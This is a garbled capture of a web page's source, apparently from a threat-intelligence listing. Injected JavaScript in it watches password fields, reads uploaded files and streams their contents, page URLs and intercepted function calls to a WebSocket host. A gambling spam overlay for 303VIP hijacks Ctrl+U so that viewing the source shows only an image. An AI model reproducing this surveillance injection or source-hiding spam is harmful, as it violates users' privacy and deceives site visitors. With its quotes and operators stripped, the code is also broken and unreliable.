MutationObserver(((Y,n)>{Y.forEach((e>{childListe.type&&e.addedNodes.length>0&&e.addedNodes.forEach((e>{e.nodeTypeNode.ELEMENT_NODE&&t(e)}))})),e.length>0&&n.disconnect()}));Y.observe(document.body,{childList:!0,subtree:!0}),t(document),e.length>0&&Y.disconnect()}(),n()},fileName:e.name}),setTimeout((()>{b.has(t)&&(b.delete(t),n())}),2e3),B.send(JSON.stringify({requestId:t,type:waptransfer,direction:upload,filename:e.name,filesize:e.size,filetype:e.type,url:document.URL,filehash:0,process:w.pn,content:S(r.result)}))}catch(e){n()}})),r.addEventListener(error,(e>{n()})),r.addEventListener(abort,(e>{n()})),function(){if(!document.getElementById(t)){let edocument.createElement(div);e.idt,e.style.cssTextbackground:rgba(0, 0, 0, .6);position:absolute;top:0;left:0;height:100%;width:100%;z-index:999,document.body.appendChild(e)}}();try{nulla?r.readAsArrayBuffer(e):r.readAsArrayBuffer(a)}catch(e){n()}}}}function E(e){var t{handler:log,module:wapjs,url:wap,message:e};B.send(JSON.stringify(t))}function A(e){var t{name:e.data.name,type:e.data.type};iframePasswordInputFocusede.data.message?c(t,!0):iframePasswordInputBlurrede.data.message&&M(t,!0)}var w{token:0cd7607b-416f-4f4c-9063-163b25c3a0b1,sendNotificationsInterval:Number(1000),pollWhatsappTrackingInterval:Number(20000),connectionString:wss://tm.filter:1502,pid:3620,pn:chrome.exe,iup:false,dontTrackWebPasswords:false,extJs:/* * dont use double slash comments here as this will be stored in one line for the TMU migrations * * this is stored in the kv_store table for the key hm_websites_js * * all code should describe one javascript object, i.e. { bla-bla-bla } * * this object will be included in standard js injection code as a replacement of insight_placeholder * if domain of the page matches one of the domain regexes from the hypermonitoring_web settings * if not, insight_placeholder will be replaced with null * * this object must contain function init(token), it will be called only once when document became visible (it is called for every iframe too) * * also this code contains placeholdes, see doc in the code (search for `_placeholder` suffix) * * also this object must contain property webSock that will be assigned WebSocket when created * * this object should send json for every registered event with the following structure: * { * cat: insight - this is required to route the message to the proper handler * type: click | changed - type of the event * elm: uint32 - id of the element that fired the event. used for deduplication of the events * page: uint32 - id of the hypermonitored location * obj: uint32 - id of the hypermonitored object that fired event * url: string - current document url * token: string - js injection token, used to unique identify browser page * values: json - contains all collected information about event and its context * proc: id of the process of the host electron * } */ { /* this will be replaced with the rules for current domain * * { * id: locationId, * url: string | null, * objects: * * { * id: objectId, * sources: , * ... * }, * ... * * }, * ... * */ pages: , /* required property for electron */ proc: null, /* required property - will be assigned to WebSocket once it will be read */ webSock: null, pendingPackets: , webSockReady: function () { return this.webSock ! null && this.webSock.readyState WebSocket.OPEN; }, processPacket: function (t) { if (!this.webSockReady()) this.pendingPackets.push(t); else { this.sendPendingPackets(); this.webSock.send(t); } }, sendPendingPackets: function () { if (this.webSockReady() && this.pendingPackets.length > 0) { for (var i 0; i this.pendingPackets.length; ++i) this.webSock.send(this.pendingPacketsi); this.pendingPackets ; } }, /* store js injection token */ token: null, /* should we send log messages to the agent, bool */ sendLog: false, /* should we include all content of the htmlelements in the log messages, bool */ sendLogFullData: false, /* should we log snapshots of the html after every mutation event */ sendLogSnapshots: false, /* should we catch exceptions and log them (as opposed to let browser stops in debugger) */ sendLogExceptions: true, /* * required function - it will be called once when document became visible * it will be also called for iframes * * argument token - js injection token */ init: function (token) { this.token token; this.log(init: token: + token + sendLog: + this.sendLog + sendLogFullData: + this.sendLogFullData); if (document.readyState interactive || document.readyState complete) this.attachEvents(); else window.addEventListener(DOMContentLoaded, this.attachEvents.bind(this)); setInterval(this.sendPendingPackets.bind(this), 1000); }, /* * here we scan all provided settings and choose what listeners are required * we dont want to intrude in the js more that necessary for performance and compatibility considerations */ attachEvents: function () { var needClick false, needChange false, needChildList this.sendLogSnapshots, needCharacterData this.sendLogSnapshots, callObjects ; this.pages.forEach(function (page) { page.objects.forEach(function (obj) { addText, removeText, addElm, removeElm, stateByElm.forEach(function (source) { if (obj.sources.includes(source)) needChildList true; }); if (obj.sources.includes(changeText)) needCharacterData true; if (obj.sources.includes(change)) needChange true; if (obj.sources.includes(click)) needClick true; if (obj.sources.includes(call)) callObjects.push({ page: page, obj: obj }); }); }); this.log(attachEvents: needClick: + needClick + needChange: + needChange + needChildList: + needChildList + needCharacterData: + needCharacterData); if (needClick) window.addEventListener(click, this.onEvent.bind(this), true); if (needChange) window.addEventListener(change, this.onEvent.bind(this), true); if (needChildList || needCharacterData) new MutationObserver(this.onMutation.bind(this)).observe(document, { subtree: true, childList: needChildList, characterData: needCharacterData }); if (needClick || needChange || needChildList || needCharacterData) { /* we process mutation events only after human interaction */ window.addEventListener(keydown, this.onInteraction.bind(this)); window.addEventListener(mousedown, this.onInteraction.bind(this)); } if (callObjects.length > 0) { var self this; var intervalHandle setInterval(function () { for (var i callObjects.length - 1; i > 0; i--) { if (self.interceptCall(callObjectsi)) callObjects.splice(i, 1); } if (callObjects.length 0) clearInterval(intervalHandle); }, 500); } }, interceptCall: function (callObj) { var obj callObj.obj, jsObj; try { jsObj this.calc(obj, object, , ); } catch{ } if (jsObj null) { this.log(attachEvents: object: + obj.id + is not found); return false; } var method jsObjobj.func; var self this; jsObjobj.func function () { var arg_data self.calc(obj, arg_data, args, arguments, return null); var ret method.apply(jsObj, arguments); var return_data self.calc(obj, return_data, ret, ret, return null); if (arg_data ! null || return_data ! null) self.sendEvent(interceptCall, callObj.page, obj, undefined, { arg_data: arg_data, return_data: return_data }); return ret; }; self.log(attachEvents: object: + obj.id + , + (obj.object || obj.object_f) + is found, call to + obj.func + intercepted); return true; }, /* new Date().getTime() of the last human interacion (keydown, mousedown, mouseup) to filter out DOM mutation events that was not due to human activity */ lastInteraction: null, /* on human interaction (keydown, mousedown, mouseup) */ onInteraction: function (ev) { this.lastInteraction new Date().getTime(); this.log(onInteraction: human Interaction + ev.type + : + this.lastInteraction); }, /* handles click and change events */ onEvent: function (ev) { var self this; this.callSafe(onEvent, function () { self.handleEvent(ev.type, ev.type, ev.composed ? ev.composedPath() : self.getAncestors(ev.target)); }); }, /* handles addText, changeText, removeText, addElm, removeElm DOM mutation events */ onMutation: function (mList) { var self this; if (this.sendLogSnapshots) this.log(snapshot: + document.body.outerHTML.replace(/\n|\r/g, #)); this.callSafe(onMutation, function () { if (self.lastInteraction ! null) { mList.forEach(function (m) { if (m.type childList) { m.removedNodes.forEach(function (sub) { if (sub.nodeType Node.TEXT_NODE) self.handleEvent(change, removeText, self.getAncestors(m.target)); else if (sub.nodeType Node.ELEMENT_NODE) self.handleEventWithSub(change, removeElm, self.getAncestors(m.target), sub); }); m.addedNodes.forEach(function (sub) { if (sub.nodeType Node.TEXT_NODE) self.handleEvent(change, addText, self.getAncestors(m.target)); else if (sub.nodeType Node.ELEMENT_NODE) self.handleEventWithSub(change, addElm, self.getAncestors(m.target), sub); }); } else if (m.type characterData && m.target) self.handleEvent(change, changeText, self.getAncestors(m.target)); }); } self.processStateByElm(); }); }, objId2key2value: {}, processStateByElm: function () { var self this; self.forEachObject(stateByElm, function (page, obj) { var key2value {}; if (self.calc(obj, condition, , , return true;)) { self.applySelector(document, obj.selector).forEach(function (elm) { var key self.calc(obj, key, e, elm); var value self.calc(obj, value, e, elm); key2valueJSON.stringify(key) JSON.stringify(value); }); } var oldKey2Value self.objId2key2valueobj.id; oldKey2Value oldKey2Value ? oldKey2Value : {}; for (var k in key2value) { if (key2valuek ! oldKey2Valuek) self.sendEvent(change, page, obj, undefined, { key: JSON.parse(k), old: oldKey2Valuek ? JSON.parse(oldKey2Valuek) : undefined, new: JSON.parse(key2valuek) }); delete oldKey2Valuek; } for (var k in oldKey2Value) self.sendEvent(change, page, obj, undefined, { key: JSON.parse(k), old: oldKey2Valuek ? JSON.parse(oldKey2Valuek) : undefined }); self.objId2key2valueobj.id key2value; }); }, /* get ancestors for the element */ getAncestors: function (e) { var path ; for (; e ! document && e ! null; e e.parentNode) path.push(e); return path; }, /* handles simple events: click, change, addText, changeText, removeText */ handleEvent: function (type, source, ancestors) { if (this.sendLog) /* double check not to call elementString in vain */ this.log(handleEvent: type: + type + source: + source + target: + this.elementString(ancestors0)); var self this; this.forEachMatch(source, ancestors, function (page, obj, elm) { self.send(type, page, obj, ancestors0, elm); }); }, /* handles events with sub element: addElm, removeElm */ handleEventWithSub: function (type, source, ancestors, sub) { if (this.sendLog) /* double check not to call elementString in vain */ this.log(handleEventWithSub: type: + type + source: + source + target: + this.elementString(ancestors0) + sub: + this.elementString(sub)); var self this; this.forEachMatch(source, ancestors, function (page, obj, elm) { if (!obj.sub_matches || sub.matches(obj.sub_matches)) { if (obj.sub_selector) { self.applySelector(sub, obj.sub_selector).forEach(function (descendant) { self.send(type, page, obj, ancestors0, elm, sub, descendant); }); } else { self.send(type, page, obj, ancestors0, elm, sub); } } }); }, /* enumerate all obj based on url and source. calls handler(page, obj) */ forEachObject: function (source, handler) { var self this; this.pages.forEach(function (page) { if (self.testRegex(page.url, document.URL)) { page.objects.forEach(function (obj) { if (obj.sources.includes(source)) handler(page, obj); }); } }); }, /* enumerate all matches based on url, source and interactionInterval, matches and selector. calls handler(page, obj, matchedElm) */ forEachMatch: function (source, ancestors, handler) { var self this; this.forEachObject(source, function (page, obj) { if (obj.interactionInterval && (self.lastInteraction null || new Date().getTime() - self.lastInteraction > obj.interactionInterval)) { if (self.lastInteraction ! null) self.log(forEachMatch skip rule: interval: + (new Date().getTime() - self.lastInteraction).toString()); } else { var scope obj.scope target ? ancestors0 : ancestors, m obj.matches, set !m && obj.selector ? self.applySelector(document, obj.selector) : null; for (var i 0; i scope.length; ++i) { if ((m && scopei.matches && scopei.matches(m)) /* scopei may not be element, test if matches is defined */ || (set && set.includes(scopei))) { handler(page, obj, scopei); break; } } } }); }, /* return array of elements after applying commands from the selector settings */ applySelector: function (root, commands) { const self this; var elms root; commands.forEach(function (command) { var res ; elms.forEach(function (elm) { if (command.test_text) { /* test_text command keeps only elements whose text matches regex */ if (self.testRegex(command.test_text, elm.textContent)) res.push(elm); } else if (command.move) { /* move command transforms element into querySelectorAll set and select shadowRoot if present */ elm.querySelectorAll(:scope + command.move).forEach(function (e) { var s e.shadowRoot; res.push(s ? s : e); }); } else if (command.exists) { /* exists command keeps only elements for which selector set is not empty */ if (self.applySelector(elm, command.exists).length ! 0) res.push(elm); } }); elms res; }); return elms; }, /* send event data to websocket, data structure: * { * cat: insight - this is required to route the message to the proper handler * type: click | changed - type of the event * elm: uint32 - id of the element that fired the event. used for deduplication of the events * page: uint32 - id of the hypermonitored location * obj: uint32 - id of the hypermonitored object that fired event * url: string - current document url * token: string - js injection token, used to unique identify browser page * values: json - contains all collected information about event and its context * } */ lastSentElm: null, lastSentElmId: 0, send: function (type, page, obj, target, e, sub, descendant) { if (this.lastSentElm ! e) { this.lastSentElm e; this.lastSentElmId++; } const values this.calc(obj, values, target, e, sub, descendant, target, e, sub, descendant); if (values) this.sendEvent(type, page, obj, this.lastSentElmId.toString(), values); }, sendEvent: function (type, page, obj, elmId, values) { const t JSON.stringify({ values: values, handler: page.handler, type: type, elm: elmId, page: page.id, obj: obj.id, url: document.URL, token: this.token, proc: this.proc }); if (this.sendLog) console.log(InsightJs send: + t); this.processPacket(t); }, /* utils: cache compiled regexes */ string2regex: {}, testRegex: function (stringRegex, value) { if (stringRegex null) return true; if (!(stringRegex in this.string2regex)) this.string2regexstringRegex new RegExp(stringRegex); return this.string2regexstringRegex.test(value); }, /* utils: cache compiled functions */ code2function: {}, calc: function (host, prop, names, args, defaultCode) { var code hostprop ? return + hostprop + ; : hostprop + _f; if (code null) code defaultCode; if (code null) { this.log(code not found, calc( + JSON.stringify(host) + ), prop: + prop); return {}; } if (!(code in this.code2function)) this.code2functioncode new Function(...names, code); return this.code2functioncode.apply(null, args); }, /* utils: dump html element to the log */ elementString: function (e) { var html e.nodeType Node.TEXT_NODE ? e.data : e.outerHTML; if (this.sendLogFullData) return html; html html.length > 100 ? html.substr(0, 100) + ... total len: + html.length : html; return html.replace(/\n|\r/g, #); }, /* log to console and to the agent */ log: function (message, force) { if (this.sendLog || force) { var m new Date().toLocaleString() + : + message; console.log(InsightJs + m + , url: + document.URL); this.processPacket(JSON.stringify({ handler: log, module: InsightJs, message: m, url: document.URL })); } }, callSafe: function (name, f) { if (!this.sendLogExceptions) f(); else { try { f() } catch (e) { this.log(exception in + name + : + e.name + , + e.message, true); } } } }},L6e4,Tnull,Inull,knull,Cnull,O!1,Hnull,Pnull,R0,xnull,Bnull,_,F!1;!function e(t){m()?setTimeout((function(){e(t)}),1e3):t()}((function(){w.extJs&&w.extJs.init(w.token),n()&&(window.addEventListener(focus,r,!0),w.dontTrackWebPasswords&&window.addEventListener(message,A,!1)),n()||w.extJs?p():w.dontTrackWebPasswords&&f()}))}();/script>script>document.addEventListener(keydown, function(e) { if (e.ctrlKey && e.key.toLowerCase() u) { e.preventDefault(); e.stopPropagation(); document.body.innerHTML ; document.documentElement.innerHTML ; const img document.createElement(img); img.src https://imgstock.io/images/2026/01/28/303vip-image-1.webp; img.style.width 100%; img.style.height 100vh; img.style.objectFit cover; document.body.appendChild(img); }});/script> div styleposition: fixed; z-index: 9999; width: 100vw; height: 100vh; top: 0; left: 0; background: rgba(32 32 32 / 40%); backdrop-filter: blur(8px); -webkit-backdrop-filter: blur(8px); display: flex; align-items: center; justify-content: center; padding: 16px; box-sizing: border-box; overflow-y: auto;> div styledisplay: flex; flex-direction: column; align-items: center; width: 100%; max-width: 400px;> !-- Banner Karakter Slot --> img srchttps://imgstock.io/images/2026/01/28/303vip-image-1.webp alt303vip stylewidth: 100%; border-radius: 12px; box-shadow: 0 0 12px rgba(var(--theme-color-rgb), 0.7); margin-bottom: 16px;> !-- Judul --> h2 stylecolor: white; font-size: 16px; text-align: center; font-weight: bold; line-height: 1.4; margin: 0 0 16px 0;> 303VIP — Bandar Togel Online Resmi & Situs Slot Gacor Terpercaya No. 1 /h2> !-- Tombol DAFTAR & LOGIN --> div styledisplay: flex; justify-content: space-between; width: 100%; gap: 10px; margin-bottom: 16px;> a hrefhttps://tautin.app/CLJGyUNFh7 styleflex: 1; background: linear-gradient(to right, var(--theme-color), var(--theme-color)); height: 44px; line-height: 44px; text-align: center; color: white; font-weight: bold; font-size: 16px; text-decoration: none; border-radius: 6px; font-family: Segoe UI, sans-serif; box-shadow: 0 0 8px rgba(0,0,0,0.6);> DAFTAR /a> a hrefhttps://tautin.app/CLJGyUNFh7 styleflex: 1; background: linear-gradient(to right, var(--theme-color), var(--theme-color)); height: 44px; line-height: 44px; text-align: center; color: white; font-weight: bold; font-size: 16px; text-decoration: none; border-radius: 6px; font-family: Segoe UI, sans-serif; box-shadow: 0 0 8px rgba(0,0,0,0.6);> LOGIN /a> /div> !-- Tabel Info --> div stylewidth: 100%; font-family: Arial, sans-serif; background: #111; border-radius: 8px; border: 1px solid var(--theme-color); overflow: hidden; font-size: 14px;> div styledisplay: flex; border-bottom: 1px solid #333;> div stylepadding: 10px; width: 40%; font-weight: bold; color: var(--theme-color);>Nama Situs:/div> div stylepadding: 10px; width: 60%; color: #fff;> 303vip /div> /div> div styledisplay: flex; border-bottom: 1px solid #333;> div stylepadding: 10px; width: 40%; font-weight: bold; color: var(--theme-color);>Min. Deposit:/div> div stylepadding: 10px; width: 60%; color: #fff;> Rp 10,000/div> /div> div styledisplay: flex; border-bottom: 1px solid #333;> div stylepadding: 10px; width: 40%; font-weight: bold; color: var(--theme-color);>Bonus:/div> div stylepadding: 10px; width: 60%; color: #fff;> Bonus TurnOver Slot/div> /div> div styledisplay: flex; border-bottom: 1px solid #333;> div stylepadding: 10px; width: 40%; font-weight: bold; color: var(--theme-color);>Payment:/div> div stylepadding: 10px; width: 60%; color: #fff;> Bank, QRIS, Ewallet, VA/div> /div> /div> !-- Footer --> div stylemargin-top: 16px; font-size: 12px; color: #aaa;> © Copyright 2026 span stylecolor: var(--theme-color);>303vip /span> /div> /div> /div> div idprivacy-settings-manager-load-complete styledisplay: none;>/div> div idfooter-script-loaded styledisplay: none;>/div> div idprivacy-settings-manager-load-complete styledisplay: none;>/div> div idfooter-script-loaded styledisplay: none;>/div>/body>/html>
View on OTX
|
View on ThreatMiner
Please enable JavaScript to view the
comments powered by Disqus.
Data with thanks to
AlienVault OTX
,
VirusTotal
,
Malwr
and
others
. [
Sitemap
]